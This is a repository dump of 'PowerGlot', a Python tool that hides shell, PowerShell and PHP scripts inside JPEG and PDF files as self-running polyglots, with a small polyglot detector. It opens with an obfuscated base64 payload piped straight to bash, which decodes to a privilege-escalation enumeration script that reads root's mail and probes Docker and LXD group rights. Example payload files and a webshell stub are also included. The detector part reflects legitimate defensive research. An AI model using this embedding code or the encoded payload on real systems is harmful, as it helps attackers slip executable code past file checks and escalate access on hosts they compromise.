YXNoaGlzdCIKICBlY2hvIC1lICJcbiIKZmkKCiNhbnkgLmJhayBmaWxlcyB0aGF0IG1heSBiZSBvZiBpbnRlcmVzdApiYWtmaWxlcz1gZmluZCAvIC1uYW1lICouYmFrIC10eXBlIGYgMjwvZGV2L251bGxgCmlmIFsgIiRiYWtmaWxlcyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBMb2NhdGlvbiBhbmQgUGVybWlzc2lvbnMgKGlmIGFjY2Vzc2libGUpIG9mIC5iYWsgZmlsZShzKTpcZVswMG0iCiAgZm9yIGJhayBpbiBgZWNobyAkYmFrZmlsZXNgOyBkbyBscyAtbGEgJGJhaztkb25lCiAgZWNobyAtZSAiXG4iCmZpCgojaXMgdGhlcmUgYW55IG1haWwgYWNjZXNzaWJsZQpyZWFkbWFpbD1gbHMgLWxhIC92YXIvbWFpbCAyPi9kZXYvbnVsbGAKaWYgWyAiJHJlYWRtYWlsIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEFueSBpbnRlcmVzdGluZyBtYWlsIGluIC92YXIvbWFpbDpcZVswMG1cbiRyZWFkbWFpbCIgCiAgZWNobyAtZSAiXG4iCmZpCgojY2FuIHdlIHJlYWQgcm9vdHMgbWFpbApyZWFkbWFpbHJvb3Q9YGhlYWQgL3Zhci9tYWlsL3Jvb3QgMj4vZGV2L251bGxgCmlmIFsgIiRyZWFkbWFpbHJvb3QiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszM21bK10gV2UgY2FuIHJlYWQgL3Zhci9tYWlsL3Jvb3QhIChzbmlwcGV0IGJlbG93KVxlWzAwbVxuJHJlYWRtYWlscm9vdCIgCiAgZWNobyAtZSAiXG4iCmZpCgppZiBbICIkZXhwb3J0IiBdICYmIFsgIiRyZWFkbWFpbHJvb3QiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L21haWwtZnJvbS1yb290LyAyPi9kZXYvbnVsbAogIGNwICRyZWFkbWFpbHJvb3QgJGZvcm1hdC9tYWlsLWZyb20tcm9vdC8gMj4vZGV2L251bGwKZmkKfQoKZG9ja2VyX2NoZWNrcygpCnsKCiNzcGVjaWZpYyBjaGVja3MgLSBjaGVjayB0byBzZWUgaWYgd2UncmUgaW4gYSBkb2NrZXIgY29udGFpbmVyCmRvY2tlcmNvbnRhaW5lcj1gIGdyZXAgLWkgZG9ja2VyIC9wcm9jL3NlbGYvY2dyb3VwICAyPi9kZXYvbnVsbDsgZmluZCAvIC1uYW1lICIqZG9ja2VyZW52KiIgLWV4ZWMgbHMgLWxhIHt9IFw7IDI+L2Rldi9udWxsYAppZiBbICIkZG9ja2VyY29udGFpbmVyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIExvb2tzIGxpa2Ugd2UncmUgaW4gYSBEb2NrZXIgY29udGFpbmVyOlxlWzAwbVxuJGRvY2tlcmNvbnRhaW5lciIgCiAgZWNobyAtZSAiXG4iCmZpCgojc3BlY2lmaWMgY2hlY2tzIC0gY2hlY2sgdG8gc2VlIGlmIHdlJ3JlIGEgZG9ja2VyIGhvc3QKZG9ja2VyaG9zdD1gZG9ja2VyIC0tdmVyc2lvbiAyPi9kZXYvbnVsbDsgZG9ja2VyIHBzIC1hIDI+L2Rldi9udWxsYAppZiBbICIkZG9ja2VyaG9zdCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBMb29rcyBsaWtlIHdlJ3JlIGhvc3RpbmcgRG9ja2VyOlxlWzAwbVxuJGRvY2tlcmhvc3QiIAogIGVjaG8gLWUgIlxuIgpmaQoKI3NwZWNpZmljIGNoZWNrcyAtIGFyZSB3ZSBhIG1lbWJlciBvZiB0aGUgZG9ja2VyIGdyb3VwCmRvY2tlcmdycD1gaWQgfCBncmVwIC1pIGRvY2tlciAyPi9kZXYvbnVsbGAKaWYgWyAiJGRvY2tlcmdycCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXZSdyZSBhIG1lbWJlciBvZiB0aGUgKGRvY2tlcikgZ3JvdXAgLSBjb3VsZCBwb3NzaWJseSBtaXN1c2UgdGhlc2UgcmlnaHRzIVxlWzAwbVxuJGRvY2tlcmdycCIgCiAgZWNobyAtZSAiXG4iCmZpCgojc3BlY2lmaWMgY2hlY2tzIC0gYXJlIHRoZXJlIGFueSBkb2NrZXIgZmlsZXMgcHJlc2VudApkb2NrZXJmaWxlcz1gZmluZCAvIC1uYW1lIERvY2tlcmZpbGUgLWV4ZWMgbHMgLWwge30gMj4vZGV2L251bGwgXDtgCmlmIFsgIiRkb2NrZXJmaWxlcyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBBbnl0aGluZyBqdWljeSBpbiB0aGUgRG9ja2VyZmlsZTpcZVswMG1cbiRkb2NrZXJmaWxlcyIgCiAgZWNobyAtZSAiXG4iCmZpCgojc3BlY2lmaWMgY2hlY2tzIC0gYXJlIHRoZXJlIGFueSBkb2NrZXIgZmlsZXMgcHJlc2VudApkb2NrZXJ5bWw9YGZpbmQgLyAtbmFtZSBkb2NrZXItY29tcG9zZS55bWwgLWV4ZWMgbHMgLWwge30gMj4vZGV2L251bGwgXDtgCmlmIFsgIiRkb2NrZXJ5bWwiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gQW55dGhpbmcganVpY3kgaW4gZG9ja2VyLWNvbXBvc2UueW1sOlxlWzAwbVxuJGRvY2tlcnltbCIgCiAgZWNobyAtZSAiXG4iCmZpCn0KCmx4Y19jb250YWluZXJfY2hlY2tzKCkKewoKI3NwZWNpZmljIGNoZWNrcyAtIGFyZSB3ZSBpbiBhbiBseGQvbHhjIGNvbnRhaW5lcgpseGNjb250YWluZXI9YGdyZXAgLXFhIGNvbnRhaW5lcj1seGMgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsYAppZiBbICIkbHhjY29udGFpbmVyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIExvb2tzIGxpa2Ugd2UncmUgaW4gYSBseGMgY29udGFpbmVyOlxlWzAwbVxuJGx4Y2NvbnRhaW5lciIKICBlY2hvIC1lICJcbiIKZmkKCiNzcGVjaWZpYyBjaGVja3MgLSBhcmUgd2UgYSBtZW1iZXIgb2YgdGhlIGx4ZCBncm91cApseGRncm91cD1gaWQgfCBncmVwIC1pIGx4ZCAyPi9kZXYvbnVsbGAKaWYgWyAiJGx4ZGdyb3VwIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdlJ3JlIGEgbWVtYmVyIG9mIHRoZSAobHhkKSBncm91cCAtIGNvdWxkIHBvc3NpYmx5IG1pc3VzZSB0aGVzZSByaWdodHMhXGVbMDBtXG4kbHhkZ3JvdXAiCiAgZWNobyAtZSAiXG4iCmZpCn0KCmZvb3RlcigpCnsKZWNobyAtZSAiXGVbMDA7MzNtIyMjIFNDQU4gQ09NUExFVEUgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtIiAKfQoKY2FsbF9lYWNoKCkKewogIGhlYWRlcgogIGRlYnVnX2luZm8KICBzeXN0ZW1faW5mbwogIHVzZXJfaW5mbwogIGVudmlyb25tZW50YWxfaW5mbwogIGpvYl9pbmZvCiAgbmV0d29ya2luZ19pbmZvCiAgc2VydmljZXNfaW5mbwogIHNvZnR3YXJlX2NvbmZpZ3MKICBpbnRlcmVzdGluZ19maWxlcwogIGRvY2tlcl9jaGVja3MKICBseGNfY29udGFpbmVyX2NoZWNrcwogIGZvb3Rlcgp9Cgp3aGlsZSBnZXRvcHRzICJoOms6cjplOnN0IiBvcHRpb247IGRvCiBjYXNlICIke29wdGlvbn0iIGluCiAgICBrKSBrZXl3b3JkPSR7T1BUQVJHfTs7CiAgICByKSByZXBvcnQ9JHtPUFRBUkd9Ii0iYGRhdGUgKyIlZC0lbS0leSJgOzsKICAgIGUpIGV4cG9ydD0ke09QVEFSR307OwogICAgcykgc3Vkb3Bhc3M9MTs7CiAgICB0KSB0aG9yb3VnaD0xOzsKICAgIGgpIHVzYWdlOyBleGl0OzsKICAgICopIHVzYWdlOyBleGl0OzsKIGVzYWMKZG9uZQoKY2FsbF9lYWNoIHwgdGVlIC1hICRyZXBvcnQgMj4gL2Rldi9udWxsCiNFbmRPZlNjcmlwdAo=" | base64 -d |bash; 2 | -------------------------------------------------------------------------------- /examples/cat-scriptps.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindcrypt/powerglot/817b6ee2bd5d3b4a2996930f7cc8c05bc89fe3f1/examples/cat-scriptps.jpeg -------------------------------------------------------------------------------- /examples/cat-scriptsh.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindcrypt/powerglot/817b6ee2bd5d3b4a2996930f7cc8c05bc89fe3f1/examples/cat-scriptsh.jpeg -------------------------------------------------------------------------------- /examples/payload.ps1: -------------------------------------------------------------------------------- 1 | get-process;<#hola <# mundo#> 2 | -------------------------------------------------------------------------------- /examples/sample.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindcrypt/powerglot/817b6ee2bd5d3b4a2996930f7cc8c05bc89fe3f1/examples/sample.pdf -------------------------------------------------------------------------------- /examples/test.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindcrypt/powerglot/817b6ee2bd5d3b4a2996930f7cc8c05bc89fe3f1/examples/test.pdf -------------------------------------------------------------------------------- /examples/test.sh: -------------------------------------------------------------------------------- 1 | ls;whoami; 2 | -------------------------------------------------------------------------------- /examples/webshell.php: -------------------------------------------------------------------------------- 1 | /**/ 2 | /* 3 | 4 | */ 5 | -------------------------------------------------------------------------------- /nc-polyglot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mindcrypt/powerglot/817b6ee2bd5d3b4a2996930f7cc8c05bc89fe3f1/nc-polyglot.png -------------------------------------------------------------------------------- /powerglot.py: -------------------------------------------------------------------------------- 1 | import sys, os, random 2 | import numpy 3 | 4 | def applyRulesDetection(suspectFile): 5 | print(".",end="") 6 | fileName = suspectFile.lower() 7 | if suspectFile.endswith(".jpg") or suspectFile.endswith(".JPG"): 8 | 9 | len = os.stat(suspectFile).st_size 10 | fileAnalyzing = open(suspectFile,"rb") 11 | fileAnalyzing.seek(len-2,0) 12 | data = fileAnalyzing.read() #2 first byte -> FFd9 255 217 13 | if data[0] != 255 or data[1] != 217: # ADDED INFORMATION 14 | print("\n[Suspicious file]-[",suspectFile,"]",end="") 15 | #Stegosploit Pattern */ --> 16 | fileAnalyzing.seek(len-8,0) 17 | data = fileAnalyzing.read() 18 | count = 0 19 | for i in range(0,8): 20 | if data[i]==42 or data[i]==47 or data[i]==45 or data[i]==62: 21 | count = count + 1 22 | if count == 5: #Easy aproximation 23 | print("[Polyglot Stegosploit][EOF Signature: */ -->]") 24 | fileAnalyzing.close() 25 | 26 | def detect(path): 27 | try: 28 | for i in os.listdir(path): 29 | if os.path.isfile(os.path.join(path,i)): 30 | #print(os.path.join(path,i)) 31 | applyRulesDetection(os.path.join(path,i)) 32 | if os.path.isdir(os.path.join(path,i)): 33 | detect(os.path.join(path,i)) 34 | except OSError: 35 | print("*",end=""); 36 | 37 | 38 | def copyArray(src,dst,start,end,prefix_src,prefix_dst): 39 | for i in range(start,end): 40 | #print("start:",start," end:",end," pSrc:",prefix_src," pDst:",prefix_dst," lenSrc:",len(src)," lenDst:",len(dst)) 41 | #print("dst:",(prefix_dst+i)," src:",(prefix_src+i)) 42 | dst[prefix_dst+i] = src[prefix_src+i] 43 | 44 | def encodeScriptPolyglotPDF(script,imgSrc,imgDst): 45 | with open(script,'rb') as f3: linesScriptToHide = f3.read(10000000); # payload js 46 | contador = 0 47 | with open(imgSrc,'rb') as f1: 48 | with open(imgDst,'wb') as f2: 49 | while True: 50 | b=f1.read(1) 51 | if b: # process b if this is your intent 52 | if b == b'\n': 53 | n=f2.write(b) 54 | if contador == 0: 55 | n=f2.write(linesScriptToHide) 56 | contador = contador + 1 57 | else: 58 | n=f2.write(b) 59 | else: break 60 | 61 | def encodeScriptPolyglot(script,imgSrc,imgDst): 62 | 63 | with open(imgSrc,'rb') as f1: bytesImgSrc = f1.read(10000000); 64 | with open(script,'rb') as f3: linesScriptToHide = f3.read(10000000); # payload js 65 | payloadLen = len(linesScriptToHide) 66 | 67 | leidos = len(bytesImgSrc) 68 | #en el fichero no puede haber 0x27 69 | # Si no tiene 0x27 entonces al final del script pongo : ' y al final de fichero ' 70 | # // FF D8 FF E0 00 10 bla bla --> posicion 4 y 5 tam de cabecera 71 | tamCabeceraActual = bytesImgSrc[4]*256+bytesImgSrc[5] 72 | 73 | jpgFinal = bytearray(leidos+tamCabeceraActual+291) 74 | # 291=0x0123 - Todo tal cual le quito la cabecera, le pongo el tamano nuevo de cabecera 75 | copyArray(bytesImgSrc,jpgFinal,0,4,0,0) #copio los primeros 4 bytes --> tipicamente FFD8 FFE0, la cabecera 76 | jpgFinal[4] = 0x01; jpgFinal[5] = 0x23; #copio nuevo tamano 77 | 78 | copyArray(bytesImgSrc,jpgFinal,6,10,0,0) 79 | 80 | for i in range(0,tamCabeceraActual-6): 81 | if bytesImgSrc[10+i] == 0x00: 82 | #if ByteToHex(bytesImgSrc[10+i]) == "00": 83 | jpgFinal[10+i] = 0x01 84 | else: 85 | jpgFinal[10+i] = bytesImgSrc[10+i] 86 | 87 | for i in range(0,291-tamCabeceraActual): 88 | jpgFinal[(10+tamCabeceraActual-6)+i] = 0x01; # es 0x01 pq el 0x00 da error en script bash 89 | 90 | jpgFinal[tamCabeceraActual+4] = 0x0D; 91 | jpgFinal[tamCabeceraActual+4+1] = 0x0A; 92 | 93 | copyArray(linesScriptToHide,jpgFinal,0,payloadLen,0,tamCabeceraActual+4+2) 94 | copyArray(bytesImgSrc,jpgFinal,0,leidos-tamCabeceraActual-4,tamCabeceraActual+4,291+4) 95 | 96 | with open(imgDst,'wb') as f2: f2.write(jpgFinal) 97 | 98 | 99 | def menu(): 100 | print("\n====================================================================") 101 | print(" _____ _____ _ _ ") 102 | print(" | __ \ / ____| | | | | ") 103 | print(" | |__) | ___ __ __ ___ _ __ | | __ | | ___ | |_ ") 104 | print(" | ___/ / _ \ \ \ /\ / / / _ \ | '__| | | |_ | | | / _ \ | __|") 105 | print(" | | | (_) | \ V V / | __/ | | | |__| | | | | (_) | | |_ ") 106 | print(" |_| \___/ \_/\_/ \___| |_| \_____| |_| \___/ \__|") 107 | print("\n ") 108 | print(" -- --=[ PowerGlot 0.1 (April 2020)]") 109 | print(" -- --=[ Author: Dr. Alfonso Munoz (@mindcrypt) & Abraham Pasamar]") 110 | print("====================================================================") 111 | 112 | print("\n Usage: powerglot [-d | -o ] [payload] [file src] [file output]") 113 | 114 | print("\n Powerglot encodes scripts (powershell, shell, php, etc.) using polyglots. A loader is not needed.") 115 | print("\n optional arguments:\n") 116 | print(" -o Offensive mode - Encode/Hide a script in a file using polyglots"); 117 | print("\n -d Defensive mode - Allow to detect and analyze the presence of polyglots in any file in the filesystem (recursive from path)") 118 | print("") 119 | print(" examples:\n") 120 | print(" #powerglot -o script.ps1 cat.jpg catMalicious.jpg") 121 | print(" #powerglot -o script.sh cat.jpg catMalicious.jpg") 122 | print(" #powerglot -o script.php cat.jpg catMalicious.jpg") 123 | print(" #powerglot -o b64.sh sample.pdf test.pdf") 124 | 125 | 126 | print(" #powerglot -d ./") 127 | print("") 128 | print("------------------------") 129 | 130 | def main(paramIn): 131 | 132 | if len(sys.argv)<2: 133 | menu() 134 | else: 135 | if (sys.argv[1] == "-o") and len(sys.argv)==5: 136 | if sys.argv[1] == "-o": 137 | if sys.argv[3].endswith('pdf'): 138 | encodeScriptPolyglotPDF(sys.argv[2],sys.argv[3],sys.argv[4]) 139 | else: 140 | encodeScriptPolyglot(sys.argv[2],sys.argv[3],sys.argv[4]) 141 | 142 | #html-js 143 | #pdf 144 | 145 | 146 | elif sys.argv[1] == "-d" and len(sys.argv)==3: 147 | print("--= [Detecting polyglots] --=") 148 | detect(sys.argv[2]) 149 | print("") 150 | 151 | else: 152 | menu() 153 | 154 | main(sys.argv) 155 | --------------------------------------------------------------------------------